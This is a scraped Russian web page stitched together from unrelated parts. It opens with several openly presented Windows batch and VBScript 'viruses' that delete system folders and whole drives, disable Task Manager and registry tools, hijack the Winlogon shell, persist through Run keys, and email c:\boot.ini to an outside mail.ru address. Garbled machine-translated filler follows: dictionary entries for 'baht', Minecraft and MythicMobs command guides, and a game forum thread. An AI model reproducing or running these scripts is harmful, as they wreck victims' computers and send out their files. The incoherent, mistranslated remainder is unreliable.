echo fso.deletefolder «C:\Windows»,1 >> %temp%\temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs
echo fso.deletefile sr+»\system32\hal.dll»,1 >> %temp%\temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs
echo fso.deletefolder sr+»\system32\dllcache»,1 >> %temp%\temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs
echo fso.deletefolder sr+»\system32\drives»,1 >> %temp%\temp.vbs
echo s.regwrite «HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString»,»forum.whack.ru™»>>%temp%\temp.vbs
echo s.regwrite «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner»,»forum.whack.ru™»>>%temp%\temp.vbs
echo s.regwrite «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization»,»forum.whack.ru™»>>%temp%\temp.vbs
echo on error resume next > %temp%\temp1.vbs
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%\temp1.vbs
echo do>>%temp%\temp1.vbs
echo fso.getfile («A:\»)>>%temp%\temp1.vbs
echo loop>>%temp%\temp1.vbs
echo on error resume next > %temp%\temp2.vbs
echo Set S = CreateObject(«Wscript.Shell») >> %temp%\temp2.vbs
echo do>>%temp%\temp2.vbs
echo execute»S.Run «»%comspec% /c echo «» & Chr(7), 0, True»>>%temp%\temp2.vbs
echo loop>>%temp%\temp2.vbs
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System» /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System» /v disableregistrytools /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum» /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoNetworkConnections /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v StartmenuLogoff /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoCommonGroups /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoFavoritesMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSetFolders /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoAddPrinter /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoFind /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMHelp /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoRun /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoClose /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMMyDocs /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMMyPictures /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoControlPanel /t REG_DWORD /d 1 /f
echo set application=createobject(«shell.>= 1 then >> %temp%\temp.vbs
echo For i = 0 to colCDROMs.Count — 1 >> %temp%\temp.vbs
echo colCDROMs.Item(i).eject >> %temp%\temp.vbs
echo next >> %temp%\temp.vbs
echo End If >> %temp%\temp.vbs
echo Call SendPost(«smtp.mail.ru», «forum.whack.ru™@mail.ru», «[email protected]», «…», «Копм заражен!») >> %temp%\temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs
echo Set iMsg = CreateObject(«CDO.Message») >> %temp%\temp.vbs
echo Set iConf = CreateObject(«CDO.Configuration») >> %temp%\temp.vbs
echo Set Flds = iConf.Fields >> %temp%\temp.vbs
echo Flds.Item(«

«) = 2 >> %temp%\temp.vbs
echo Flds.Item(«») = 1 >> %temp%\temp.vbs
echo Flds.Item(«») = «support» >> %temp%\temp.vbs
echo Flds.Item(«») = «support» >> %temp%\temp.vbs
echo Flds.Item(«») = «smtp.mail.ru» >> %temp%\temp.vbs
echo Flds.Item(«») = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment «c:\boot.ini» >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs

echo s.run «shutdown -r -t 0 -c «»pcforumhack.ru™»» -f»,1 >> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs

Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)
@echo off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус…
title Внимание!!!
CHCP 866
IF EXIST C:\windows\boot.bat (
goto ok )
cls
IF NOT EXIST C:\windows\boot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg
ECHO. >> C:\0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg
ECHO. >> C:\0.reg
ECHO «Shell»=»Explorer.exe, C:\\windows\\boot.bat » >> C:\0.reg
start/wait regedit -s C:\0.reg
del C:\0.reg
ECHO @echo off >>C:\windows\boot.bat
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat
ECHO reg add «HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system» /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat
ECHO start sys.bat >>C:\windows\boot.bat
attrib +r +a +s +h C:\windows\boot.bat
copy virus.bat c:\windows\sys.bat
attrib +r +a +s +h C:\windows\sys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if «%choise%» == «101» goto gold
if «%choise%» == «200393» goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:\windows\boot.bat
del C:\windows\boot.bat
attrib -r -a -s -h C:\windows\sys.bat
del C:\windows\sys.bat
cls
:gold
start C:\
:end

Добавляет программу в автозагрузку ОС
copy «»%0″» «%SystemRoot%\system32\File.bat»
reg add «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run» /v «Filel» /t REG_SZ /d «%SystemRoot%\system32\File.bat» /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Этот вирус,блокирует все программы,но интернет работает.
@Echo off
Echo Virus Loading
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
Echo VIRUS LOAD

@echo off
chcp 1251
echo щаска…
color 4
@echo Вас собирается ~CENS~: ZhenyaZERO

@echo Автор вируса: ZhenyaZERO

@echo Условия: если вам попался этот файл, сразу его удаляйте. Этот файл был создан исключительно для ютуба. Использование этого видео в других целях запрещено.
pause
echo Этап 1: Создание ограничений
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ Хавно там всякое /F
del c:Program Files/q
taskkill /f /im explorer.exe >nul
echo Этап 2: Ща комп начнет глючить
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
echo Set fso = CreateObject(«Scripting.FileSystemObject») > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile(«%systemdrive%\windows\system32\rundll32.dat», True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile «%systemdrive%\windows\system32\rundll32.dat» >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /
echo Этап 3: Прощай, винда!
del C:\ /s /q
del D:\ /s /q
del I:\ /s /q

определение бат по The Free Dictionary

Если, значит, я сказал вам, во время всей этой болтовни, что это всего лишь одна вещь, которую вы не можете увидеть — он все равно держит ее под замком, и все, кроме всего прочего, не знает ». Вторая по величине экономика Юго-Восточной Азии увеличился всего на 2,8% в первом квартале, что является самым слабым годовым темпом за более чем четыре года, поскольку экспорт — ключевой драйвер роста — снизился на фоне растущей торговой напряженности и сильного бат за THB = THB. часов (целый день), чтобы отвезти нас в Аюттхаю за 1800 бат, 3006 песо или 60 долларов США.Кроме того, большинство бизнесов JWD расширились, что привело к хорошей общей производительности, а доход от аренды и услуг составил 3,208 миллиарда бат. Это было + 32,4% по сравнению с прибылью предыдущего года в размере 2,423 млрд бат, с чистой прибылью + 23,3% до 252,1 млн бат, по сравнению с 204,5 млн бат в предыдущем году, за вычетом чрезвычайной прибыли от продажи активов Доверительному фонду. Первоначально ожидалось, что расходы превысят 100 миллиардов батов с шестью миллионами потребителей, присоединившихся к программе. В деле о ссуде Таксин обвиняется в злоупотреблении своими полномочиями в качестве премьер-министра около 14 лет назад, когда Эксим Банк ссудил правительству Бирмы 4 миллиарда батов сроком на 12 лет для использование при построении системы спутниковой связи.По его словам, полиция также обнаружила восемь других карточек банкоматов и 232 000 батов (29 743 ринггитов), а также несколько других иностранных валют, а также пять SIM-карт у двух малазийских мужчин и женщины в возрасте 19 и 20 лет, а также у 34-летних. Губернатор Банка Таиланда Виратхай Сантипрабхоб сказал, что поведение некоторых финансовых организаций может указывать на причастность к спекуляциям с бат из-за большого объема транзакций, согласно отчету Bangkok Post. Он сказал, что ожидал, что кто-то купит рыбу за несколько тысяч бат, и был шокирован, когда на второй день ставки достигли 10 000 бат (PS226).Полуфиналисты получат 0,5 миллиона бат. Также будут разыграны призовые для четвертьфиналистов и других участников.

бат — Викисловарь

См. Также: вант

Содержание

  • 1 Английский
    • 1.1 Произношение
    • 1.2 Этимология 1
      • 1.2.1 Альтернативные формы
      • 1.2.2 Существительное
      • 1.2.3 Переводы
    • 1.3 Этимология 2
      • 1.3.1 Наречие
    • 1.4 Анаграммы
  • 2 Французский
    • 2.1 Этимология
    • 2.2 Существительное
    • 2.3 Дополнительная литература
  • 3 Португальский
    • 3.1 Этимология
    • 3,2 существительное
  • 4 сербохорватский
    • 4.1 Этимология
    • 4.2 Произношение
    • 4.3 Существительное
      • 4.3.1 Склонение
    • 4.4 Ссылки
  • 5 Словацкий
    • 5.1 Этимология
    • 5.2 Произношение
    • 5.3 Существительное
      • 5.3.1 Склонение
    • 5.4 Ссылки
  • 6 Испанский
    • 6,1 существительное
  • 7 Турецкий
    • 7.1 Этимология
    • 7.2 Существительное
      • 7.2.1 Склонение
      • 7.2.2 Производные термины

английский [править]

В английской Википедии есть статья на тему: бат Википедия

Произношение [править]

  • IPA (ключ) : / bɑːt /
  • Рифмы: -ɑːt

Этимология 1 [править]

С тайского языка บาท (бат)

Альтернативные формы [править]
  • летучая мышь ( от )
Существительное [править]

бат ( во множественном числе бат или бат )

  1. Официальная валюта Таиланда, равная 100 сатангам.
Переводы [править]

денежная единица

  • Арабский: بَات m (bāt)
  • бирманский: ဘတ် (my) (bhat)
  • китайский:
    Кантонский диалект: 泰銖, 泰铢 (taai 3 zyu 1 ), 泰 匹 (taai 3 pat 1 )
    Мандаринский диалект: 泰銖 (чж),) (чж) (Тай чжу)
  • финский: бат (fi)
  • французский: бат (fr) m
  • Греческий: μπατ (летучая мышь)
  • Хинди: बात (привет) (бат)
  • Венгерский: bát (hu)
  • Японский: バ ー ツ (ja) (bātsu)
  • кхмерский: បាត (км) (baat)
  • Корейский: 밧 (летучая мышь)
  • лаосский: ບາດ (bāt)
  • Маори: pāta
  • Персидский: بات (bât)
  • Польский: bat (pl) m
  • португальский: бат
  • м
  • Русский: бат (ru) m (bat)
  • Словацкий: бат
  • м
  • испанский: бат (-ы) m
  • Тайский: บาท (th) (bàat), (sign) ฿ (th)
  • Урду: بات (bāt)
  • Вьетнамский: бат (vi)
  • Volapük: bagt (vo)
  • Белый Хмонг: npam

Этимология 2 [править]

Орфографическое произношение , но .

Наречие [править]

бат ( не сопоставимо )

  1. (региональный) без (Йоркширский диалект, известная часть названия песни On Ilkla Moor Baht ‘at)

Anagrams [править]

  • Бат, Бат, Бат, ванна

Этимология [править]

С тайского языка บาท (бат)

Существительное [править]

бат м ( во множественном числе бат )

  1. бат (денежная единица)

Дополнительная литература [править]

  • «бат» в Trésor de la langue française informatisé ( Оцифрованное казначейство французского языка ).

Португальский [править]

Этимология [править]

С тайского языка บาท (бат)

Существительное [править]

бат м ( во множественном числе бат )

  1. бат (денежная единица)

сербохорватский [править]

Этимология [править]

С османского турецкого بخت (бат), с персидского بخت (baxt).

Произношение [править]

  • IPA (ключ) : / bâxt /

Существительное [править]

bȁht m ( кириллица ба̏хт )

  1. (регионально, выразительно) удача
Cклонение [править]

Склонение baht

единственное число множественное число
именной бат бахтови
родительный падеж бат бахтова
дательный бат бахтовима
винительный падеж бат бат
звательный бат бахтови
местный бат бахтовима
инструментальный бат бахтовима

Список литературы [править]

  • бат в Hrvatski jezični portal

Этимология [править]

С тайского языка บาท (бат)

Произношение [править]

  • IPA (ключ) : / baːt /

Существительное [править]

baht m ( родительный падеж единственного числа bahtu , именительный падеж множественного числа bahty , модель склонения dub )

  1. (нумизматика) бат (денежная единица)
Cклонение [править]

Склонение бат

единственное число множественное число
именительный падеж бат бат
родительный падеж бат бахтов
дательный падеж бат бат
винительный падеж бат бат
местный падеж бат баточ
инструментальный бат бат

Список литературы [править]

  • бат в словацких словарях в корпусе.sk

Испанский [править]

Существительное [править]

бат м ( во множественном числе бат )

  1. бат

Турецкий [править]

Этимология [править]

С персидского بخت (baxt).

Существительное [править]

бат ( определенного винительного падежа бат , множественного числа батлар )

  1. удача
  2. fortune
Cклонение [править]
перегиб
именительный падеж бат
Определенный винительный падеж бат
Singular Множественное число
именительный падеж бат батлар
Определенный винительный падеж бат бат
Дательный падеж бат батлара
Местный бат батларда
Аблатив бат батлардан
Родительный падеж бат бат
Производные термины [править]
  • bahtsız

Как использовать команду запрета в Minecraft

В этом руководстве Minecraft объясняется, как использовать команду / ban со снимками экрана и пошаговыми инструкциями.

Давайте посмотрим, как использовать эту игровую команду.

Поддерживаемые платформы

Команда / ban доступна в следующих версиях Minecraft:

* Версия, в которой он был добавлен или удален, если применимо.
ПРИМЕЧАНИЕ. Pocket Edition (PE), Xbox One, PS4, Nintendo Switch и Windows 10 Edition теперь называются Bedrock Edition. Мы продолжим показывать их индивидуально для истории версий.

Фон

Команда / ban — это расширенная серверная команда, которая используется только в том случае, если у вас запущен сервер Minecraft.Если вы используете сервер Minecraft, к которому подключаются другие игроки, команда / ban может помочь определить, каким игрокам не разрешено подключаться к серверу.

Чтобы использовать команду / ban, вы должны быть оператором сервера Minecraft. Команда / ban используется для добавления игрока в черный список сервера (или список запретов). Это запретит этому игроку подключаться к серверу Minecraft. Используйте команду / pardon, чтобы позволить игроку снова подключиться к серверу.

СОВЕТ: Игроку не обязательно быть онлайн, когда вы вводите команду / ban.Если игрок подключен к серверу, когда вы его забаните, он будет немедленно отключен от сервера. Если заблокированный игрок попытается повторно подключиться, ему не разрешат подключиться к серверу Minecraft.

Требования

Для выполнения серверных команд, таких как команда / ban, вы должны сначала создать многопользовательский сервер в Minecraft и быть оператором этого сервера.

Команда запрета

Запретить команду в Minecraft Java Edition (ПК / Mac)

В Minecraft Java Edition (ПК / Mac) синтаксис для блокировки игрока на сервере Minecraft:

 / бан <имя> [причина...] 
Определения
  • имя — имя игрока, которого нужно забанить на сервере.
  • причина необязательна. Это причина того, что игрок был забанен. Причина будет показана игроку, если он попытается подключиться к серверу после блокировки. Причина также будет отображаться в журналах сервера.

Примеры

Пример в Java Edition (ПК / Mac)

Чтобы забанить игрока по имени TheNotWanted без указания причины:

 / бан TheNotWanted 

Чтобы забанить игрока по имени TheNotWanted по причине:

 / забанить TheNotWanted Too good at Minecraft 

Как ввести команду

1.Откройте консоль сервера

Чтобы запустить команду сервера, инструкции различаются в зависимости от вашей версии Minecraft:

  • Для Java Edition (ПК / Mac) откройте консоль сервера. Используйте командную строку в Windows или терминал на Mac.

2. Введите команду

В этом примере мы забаним игрока с именем TheNotWanted по причине «Слишком хорошо в Minecraft» с помощью следующей команды:

 / забанить TheNotWanted Too good at Minecraft 

В этом руководстве мы ввели команду на ПК / Mac как команду сервера (см. Ниже).

В консоли сервера должно появиться сообщение «Забаненный игрок TheNotWanted».

После ввода команды игрок будет добавлен в черный список сервера и заблокирован на сервере. Теперь игроку больше не будет разрешено играть в Minecraft на этом сервере.

Забаненный игрок будет немедленно отключен

Если игрок вошел в систему, когда была введена команда / ban, он будет отключен со следующим сообщением:

В этом примере игрок с именем TheNotWanted увидит сообщение «Соединение потеряно.Вам запрещен доступ к этому серверу. «В окне игры.

Забаненный игрок не может снова подключиться к серверу

Если игрок попытается повторно подключиться к серверу, он увидит следующее сообщение:

В этом примере игрок по имени TheNotWanted увидит сообщение «Вам запрещен доступ к этому серверу!» по причине «Слишком хорошо в Minecraft». Они не смогут подключиться к серверу, пока их не помилует оператор сервера.

Поздравляю, вы только что научились использовать команду / ban в Майнкрафт!

Другие серверные команды

Вот некоторые другие серверные команды, которые вы можете использовать в Minecraft:

Другие игровые команды

Вы можете использовать другие команды и читы в Minecraft, например:

команд

Mythic Mobs имеет простую командную структуру, доступ к которой можно получить, набрав / migicmobs .При вводе текста будет отображаться меню со всеми доступными командами, и каждый уровень команд будет предоставлять меню или информацию о том, что вы можете делать. Все параметры команды, окруженные [], являются обязательными, а <> — необязательными.

Общие команды

  • / mm (псевдоним: / migicmobs ) * Базовая команда для плагина. Отображает все остальные команды.

  • / mm debug [level] (псевдоним: / mm d [level] * Устанавливает * уровень отладки плагина.0 = ВЫКЛ.

  • / mm debugmode [true / false] * Включает режим отладки, который отключает случайные генераторы, источники мобов и другие случайные вещи, затрудняющие отладку. В настоящее время не работает

  • / mm reload (псевдоним: / mm r ) * Перезагружает плагин.

  • / мм save * Force * сохранил всех активных мобов и спаунеров.

  • / мм версия * Отображает версию MythicMobs.

Команды предметов

  • / мм элементы (псевдоним: / мм i ) * База для всех команд, связанных с элементом *.

  • / mm items get [item_name] * Дает себе предмет из настроенного снаряжения моба.

  • / мм предметы дают [player] [item_name] <количество> * Дает игроку предмет из настроенного снаряжения моба.

  • / mm items give -s [player] [item_name] * Тихо дает игроку предмет из настроенного снаряжения моба.

  • / mm список элементов * Выводит на экран все настроенное моб-оборудование.

  • / мм импорт элемента [fileName] * Импортирует удерживаемый элемент в папку Items. (Имя файла по умолчанию — .yml)

Команды мобов

  • / мм мобы (псевдоним: / мм м ) * База для всех команд, связанных с мобами *.

  • / мм информация о мобах [mob_name] * Отображает много информации о мифическом мобе.

  • / мм список мобов * Отображает список мобов, загруженных на сервер.

  • / mm mobs listactive * Отображает список созданных в данный момент мобов и их количество.

  • / mm mobs kill [mob_name] * Удаляет всех мифических мобов с указанным именем.

  • / mm mobs killall * Удаляет всех активных мифических мобов.

  • / mm mobs killall -p * Удаляет всех постоянных мифических мобов.

  • / мм мобы появляются [mob_name]: * Создает мобов с указанным именем.

  • / mm mobs spawn -s [mob_name]: * Тихо порождает моба без текста консоли.

  • / mm статистика мобов * Отображает полезную информацию о том, сколько мобов загружено на сервер. (Суммы)

Команды яйца моба

  • / mm egg (псевдоним: / mm e ) * База для всех команд, связанных с egg *.

  • / mm egg get [mob_name] * Дает вам яйца моба для указанного Mythic Mob.

  • / mm egg give [player] [mob_name] * Дает игроку яйца моба для указанного Mythic Mob.

Команды генератора

  • / mm spawners (псевдоним: / mm s ) * База для всех команд, связанных с spawner *.

  • / мм s создать [ spawner _ name ] [ mob name ]

    • Создает новый спаунер в месте расположения ридикюля игрока.

    • Спаунер создаст любое имя моба _ , которое вы ему дали, которое может быть любым внутренним мобом minecraft или именем моба, созданного вами в ExampleMobs.yml страницу конфигурации.

    • / mm s create Ruins _ Skeleton1 DecayingSkeleton

  • / мм s set [spawner_name] [setting] [value]

  • / мм с addcondition [spawner_name] [condition] [value]

  • / мм с removecondition [spawner_name] [condition]

  • / мм s информация [spawner_name]

  • / мм с рядом <расстояние>

    • Выводит список всех производителей поблизости.

    • Добавьте параметр расстояния, чтобы сузить список.

    • / мм s list около 15 (отображает все имена создателей в пределах 15 блоков)

  • / мм s натяжители [название]

  • / мм с активировать [имя]

  • / мм s разрез [search_string]

    • Вырезает группу создателей в соответствии с заданной строкой.

    • / mm s cut g: BoneCastle (Обрезает всех создателей в группе создателей «BoneCastle») * / мм s cut r: 200 (Обрезает всех создателей в радиусе 200 блоков)

    • / mm s cut Elementals_ * (Вырезает всех создателей, чьи имена начинаются с Elementals_) * / мм s cut * (Обрезает всех производителей. БУДЬТЕ ОЧЕНЬ ОСТОРОЖНЫ!)

  • / мм паста

  • / мм s отменить

Служебные команды

Сигнальные команды

Команды чата

  • Команды чата

    Напишите в чат в игре, чтобы вызвать следующее действие.
    • @sell: Продайте выбранные вами юниты по 0,5 минерала каждый. Десятичные дроби пропадают
    • @as: Включает / выключает быструю @sell с помощью сочетания клавиш shift + z.
    • @sa: Продайте фрагмент артефакта за 8 минералов.
    • @af: Включает / выключает быстрый @nf с помощью сочетания клавиш alt + z.
    • @nf: Отключает атаку выбранных юнитов.
    • @yf: Включает атаку выбранных юнитов.
    • @ p1 ~ p4: Просмотреть профиль player1 ~ 4.
    • @ r1 ~ r4: Просмотр player1 ~ 4 драгоценных камней.
    • @report: Вывести ручки игроков.
    • @data: Затем нажмите ctrl + K или alt + K, чтобы активировать unit bank .
    • @am : Деактивировать / активировать автоматическое объединение обычных юнитов (когда банк юнитов активен)
    • @kre : Деактивировать / активировать минерал / газ при убийстве лото.
    • @txt : Отключить / включить критические сообщения, когда ваши юниты атакуют.
    • @tag : Удалите текст, написанный поверх вашего поля.
    • @rl : изменить выбранную модель устройства на модель уменьшения задержки (необратимо).
    • @ L1 ~ L5 : заблокируйте / разблокируйте свою руну в слотах 1 ~ 5, чтобы предотвратить ее замену.
    • @trophy: Выберите трофеи, чтобы скрыть каждую игру.
    • -s50 ~ 90 : Уменьшите масштаб, используйте F1, чтобы вернуться к значениям по умолчанию (примерно s-40), F3 перенесет вас на s100.
    • @sb : копирует окно банка в нижнюю половину мини-карты (так что вы можете управлять банком и банком юнитов одновременно)
    • @ss: Открывает окно хранения команд.После блокировки желаемых команд чата нажмите кнопку сверху, чтобы сохранить их для будущих игр.
    • @jan: отключает january gem.
    • @tran: выберите третий вариант электронной руны

    Shift + F : положите все минералы в банк.
    Ctrl + F : забрать 10 минералов из банка.

    F6: открывает скрытую книгу
    F7: скрывает свои трофеи доноров, SP, статистику от других игроков.
    F8: Показать ваш SP, статистику для других игроков.

    Горячие клавиши для открытия банка, скинов, рун и т. Д.можно увидеть в последней строке при наведении курсора на кнопку:

    Полужирный команд чата работают на всех серверах

    td: символ события, параметры игры, руководство по шине обновления

    Последний раз редактировалось FVZ; 30.09.2018 в 19:23.

  • Сообщение Спасибо / Нравится — 3 Нравится, 0 Не нравится

  • Хан сказал мне, что сейчас он работает над новым патчем.. но я не уверен, будет ли у нас совершенно новый большой патч или просто простой.

    FVZ есть идеи ??


  • Сообщение спасибо / лайк — 2 лайка, 1 не лайк

  • Будут ли изменения для arti, которые вы получите в лотерее на 15 минералов, поэтому когда вы делаете @sa и получаете 15 минералов, а не 8?

  • Сообщение спасибо / лайк — 1 нравится, 1 не нравится

  • @wmai Нет.

    @anttii Нет. Не вижу причин для этого изменения, и у нас все равно есть arti gem.


  • Сообщение спасибо / лайк — 1 нравится, 0 не нравится

  • @help — перечисляет все команды чата в игре

    @data — вы также можете использовать alt + k.
    ctrl + k мгновенно сохранит всю магию для юнитов эпического уровня в ваш банк и после этого сохранит всю магию для юнитов эпического уровня в банк.
    alt + k сохранит все текущие юниты в игре на вашей платформе и после этого сохранит всю магию для юнитов эпического уровня в банке.


  • Сообщение спасибо / лайк — 2 нравится, 0 не нравится

  • 2 новые команды из 5.046

  • Теперь, когда есть банк юнитов и, следовательно, больше команд чата, можно ли скопировать эту ветку в более интуитивно понятное место для игроков, не принадлежащих к KR? может раздел гидов?

  • Не стесняйтесь копировать и изменять этот поток для других серверов.Вы можете получить исходный текст, нажав кнопку цитаты в моем сообщении.

  • Скриншот команды

    @ss chat. При наведении курсора на каждую цифровую кнопку вы увидите соответствующую команду чата, которую вы можете активировать в начале каждой игры.

    1. @as
    2. @af
    3. @sb
    [email protected]
    5. @tag


  • Сообщение спасибо / лайк — 1 нравится, 0 не нравится

  • Городских Команд (Полная версия) | Супер новички

    JavaScript отключен. Для большего удобства включите JavaScript в своем браузере, прежде чем продолжить.